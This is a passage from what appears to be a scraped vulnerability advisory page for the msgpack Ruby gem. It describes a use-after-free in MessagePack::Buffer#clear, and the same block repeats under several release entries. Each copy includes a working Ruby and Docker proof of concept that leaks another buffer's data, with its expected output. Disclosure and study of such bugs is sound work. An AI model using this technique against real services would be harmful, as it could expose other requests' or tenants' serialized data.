Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 20, 2019

1.2.10 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 19, 2019

1.2.9 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 13, 2019

1.2.8 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 11, 2019

1.2.7 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 01, 2019

1.2.6 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


